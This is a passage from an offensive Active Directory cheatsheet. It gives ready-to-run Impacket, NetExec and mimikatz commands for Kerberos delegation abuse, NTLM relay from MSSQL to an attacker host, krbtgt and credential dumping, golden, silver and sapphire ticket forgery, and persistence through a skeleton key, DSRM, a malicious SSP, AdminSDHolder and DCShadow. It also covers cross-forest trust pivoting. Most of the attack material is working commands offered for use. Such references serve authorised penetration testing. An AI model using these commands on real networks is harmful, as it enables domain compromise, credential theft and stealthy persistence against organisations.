Impersonate protected user via S4USelf request

It is possible to impersonate a **protected user** with the **S4USelf** request if we have a TGT (or the creds) of the target machine (for example from an **Unconstrained Delegation**).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).

```
getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-
pass -dc-ip <DC_IP> domain.local/ServiceA$
```

Bypass Constrained Delegation restrictions with RBCD

- Attacker compromises **ServiceA** and **ServiceB**
- ServiceB is allowed to delegate to `time/ServiceC` (the target) without protocol transition (no S4USelf)
- Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB
- Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to `time/ServiceC`
- Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to `cifs/ServiceC`

```
#RBCD from A to B
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes
```

```
':<ServiceA_NThash>' domain.local/ServiceA$
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes
':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

#S4UProxy from B to C with the obtained ST as evidence
getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes
':<ServiceB_NThash>' -dc-ip <DC_IP> domain.local/ServiceB$
```

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but `ms-ds-machineaccountquota` equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here.

- Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...)
- Obtain a TGT for the user via pass-the-hash and extract the session key from it with this PR:

```
getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1'
describeTicket.py 'user1.ccache' | grep 'Ticket Session Key'
```

- Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy will be encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (**WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack**). Everything is explained here.

```
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC'
```

- Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket obtained in the U2U S4USelf request (ciphered with the session key), to perform a S4UProxy request. Use this PR to do it:

```
KRB5CCNAME='user1.ccache'
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local"
'domain.local'/'user1'
```

- Finally, use the obtained ST to dump the machine LSA and SAM registers with `secretsdump`.

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the `xp_dirtree` in order to leak the Net-NTLM hash of the machine account. Additionally, the **Web Service** client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to `@80`):

- Create a DNS record in order to be able to leak the NTLM hash externally
- Use the `xp_dirtree` (or `xp_fileexist`) function to the created DNS record on `@80`. This will force the authentication and leak the hash
- Relay the machine hash to the LDAP server to add a controlled account (**with a SPN** for the further S4USelf request) to the `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target machine
- Now we can ask a ST for a user we want to impersonate for a service on the machine

```
#Add the DNS
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d
'<attacker_IP>' --action add <DC_IP>

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P
Admin
    #Or with NetExec
nxc mssql <target> -u user1 -p password -M mssql_coerce -o L=<attacker_IP>

#After the attack, ask for a ST with full S4U
getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip <DC_IP>
domain.local/<controlledAccountWithASPN>password
```

Domain Persistence

Sapphire ticket

Similar to **Diamond Ticket**, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a *S4USelf + U2U* attack in the requested ticket. Full explains here.

```
ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '<domain_SID>' 'blabla'
```

Diamond ticket

Blog here

For the moment, the `ticketer.py` approach is not really attractive and the **Sapphire Ticket** attack is preferable, or use Rubeus on Windows.

Golden ticket

Dump krbtgt hash with DCSync

```
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>
```

Create TGT

```
ticketer.py -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>
```

RODC Golden Ticket

This attack is presented in the Active Directory cheatsheet.

Silver ticket

```
ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash
<account_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>
```

Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent):

```
export KRB5CCNAME=./target_TGT.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-
pass "domain.local"/'target$'
```

GoldenGMSA

This attack is presented in the Active Directory cheatsheet.

GoldenDMSA

This attack is presented in the Active Directory cheatsheet.

Skeleton key

```
nxc smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'
```

Now, it is possible to access any machine with a valid username and password as "mimikatz"

DSRM

- DSRM is Directory Services Restore Mode
- The local administrator on every DC can authenticate with the DSRM password
- It is possible to pass the hash of this user to access the DC after modifying the DC configuration

Dump DSRM password

```
```

```
nxc smb <DC_IP> -u user1 -p password --sam
```

Change registry configuration

Need to change the logon behavior before pass the hash

```
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName
'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt
REG_DWORD
```

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

- By patching LSASS (really instable since Server 2016)

```
nxc smb <target> -u user1 -p password -M mimikatz -o COMMAND='misc::memssp'
```

- By modifying the LSA registry

Upload the `mimilib.dll` to **system32** and add mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` :

```
#Retrieve the actual values of Security Package
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local query -
keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s

#Append mimilib to the previous list
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName
'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd "<list> mimilib"
-vt REG_MULTI_SZ
```

DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with `AdminCount=1` with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every

hour.

Attack

- With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example.
- When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins.

```
dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -
principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP>
'domain.local'/'administrator':'password'
```

Check Domain Admin ACLs

```
dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip <DC_IP>
domain.local/user1:password
```

DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the `On any objects` in the ACLs attacks section.

Cross-Trust Movement

Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus.

Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the **Enterprise Admins** group in the SID history field.

```
#The new Golden Ticket will be written at the path specified in -w
raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password

#Dump the Administrator's hash of the root domain
```

```
raiseChild.py child.domain.local/Administrator:password

#PSEXEC on a machine
raiseChild.py -target-exec <target> child.domain.local/Administrator:password
```

Across forest

SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an **RID > 1000** must be indicated.

- Get the Trust Key

```
secretsdump.py -just-dc-user '<current_forest/target_forest$>'
domain.local/Administrator:password@<DC>
```

- If **no filtering** : forge a referral ticket or an inter-realm Golden Ticket and request for a ST

`ticketer.py` doesn't work really well with inter-realm TGT, it's preferable to use **Mimikatz** for this one.

```
#Referral ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-
<RID> -aesKey <aes_trust_key> -spn "krbtgt/targetDomain.local" <target_user>

#Inter-realm Golden Ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-
<RID> -nthash <krbtgt_hash> <target_user>

export KRB5CCNAME=./ticket.ccache
getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip <target_DC_IP>
targetDomain.local/user
```

- If **there is SID filtering**, same thing as above but with **RID > 1000** (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the `foreignSecurityPrincipal`. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups:

```
#These SIDs are members of the target domain
```

```
ldeep ldap -u user1 -p password -d domain.local -s <target_LDAP_server_IP> search
'(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'

#The found SIDs can be search in the current forest
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search
'(objectSid=<object_SID>)'
```

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is **enabled** in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is **disabled**, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, **Selective Authentication must not be enabled** on the trust, and a two ways trust is needed.

How to exploit an Unconstrained Delegation.

Account Operators Replicating Trust Attack (AORTA)

Everything is explained here. Presented in the Active Directory cheatsheet.

Transit across non-transitive trusts

WARNING ! For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the Active Directory cheatsheet).

If a **non-transitive** trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on **External Trusts** for example.

However, there is a way to make non-transitive trusts transitive. Full explains here.

For this example, there is an **External Trust** between domains A and B (which are in different

forests), there is a **Within Forest** trust between domains B and C (which are in the same forest), and a **Parent-child** trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since **External Trusts** are non-transitive.

- First, obtain a TGT for userA in his **domain A**

```
getTGT.py -dc-ip <DC_A_IP> domainA.local/userA:password
export KRB5CCNAME=./userA.ccache
```

- Then, request a referral for the **domain B** with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in **domain B** as userA

```
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_A_IP> domainA.local/userA
```

- With this referral, it is not possible to request for a ST in **domain C** since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B

```
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_B_IP> domainA.local/userA
```

- Now, this TGT can be reused to ask for a referral to access **domain C**, still from **domain A with user A**

```
getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip <DC_B_IP> domainA.local/userA
```

This referral for **domain C** can be, in turn, used to access **domain D** with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with **domain D**. For example, if **domain D** has an **External Trust** with **domain E** in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E.

```
getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip <DC_D_IP> domainA.local/userA
addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass
'ComputerPassword' -domain-netbios domainD.local domainA.local/userA
```

```
#Then, ask for a TGT and replay the attack against domain E
```

Across forest - PAM trust

The goal is to compromise the **bastion** forest and pivot to the **production** forest to access to all the resources with a **Shadow Security Principal** mapped to a high privs group.

Check if the current forest is a bastion forest

Enumerate trust properties

- `ForestTransitive` must be **true**
- `SIDFilteringQuarantined` must be **false**

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
```

Enumerate shadow security principals

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search
'(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-
ShadowPrincipalSid"'
```

Check if the current forest is managed by a bastion forest

`ForestTransitive` must be **true**

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts
```

A trust attribute of `1096` is for PAM (`0x00000400`) + External Trust (`0x00000040`) + Forest Transitive (`0x00000008`).

Get the shadow security principals

```
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> object "Shadow Principal
Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'
```

- `Name` - Name of the shadow principal
- `member` - Members from the bastion forest which are mapped to the shadow principal
- `msDS-ShadowPrincipalSid` - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with `SIDHistory` injection since `SIDFiltering` in a **PAM Trust**.

SCCM Hierarchy takeover

In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a **Central Administration Site** to administrate all the sites from one "top" site server.

If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites.

Full explains here.

Forest Persistence - DCShadow

MUST BE TESTED MORE CORRECTLY

- DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller
- The compromised machine must be in the **root domain** on the forest, and the command must be executed as DA (or similar)

The attack needs 2 instances on the compromised machine.

- One to start RPC servers with SYSTEM privileges and specify attributes to be modified

```
nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate"
"privilege::debug" "lsadump::dcshadow /object:<object_to_modify>
/attribute:<attribute_to_modify> /value=<value_to_set>"'
```

- And second with enough privileges (DA or otherwise) to push the values :

```
nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow
/push' --server-port 8080
```

Set interesting attributes

Set SIDHistory to Enterprise Admin

```
lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519
```

Modify primaryGroupID

```
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
```

Set a SPN on an user

```
lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"
```

References

- The Hacker Recipes
- Pentester Academy
- PayloadAllTheThings
- InternalAllTheThings
- Pentestlab.blog
- HackTricks
- Haax
- Red Teaming Experiments
- NetExec wiki
- Cube0x0
- Dirk-jan Mollema
- Snovvcrash
- Exploit.ph
- Adam Chester
- Olivier Lyak
- Wagging the Dog
- Masky release

- Active Directory Spotlight
- LDAP Pass back
- SOAPHound
- ThievingFox
- SpecterOps
- MDSec
- Semperis
- Cogiceo
- Akamai Security Blog
- BloodHound Legacy & BloodHound CE
- Hack The Box

Revision #38
Created 22 June 2022 15:46:48 by BlackWasp
Updated 28 October 2025 15:44:24 by BlackWasp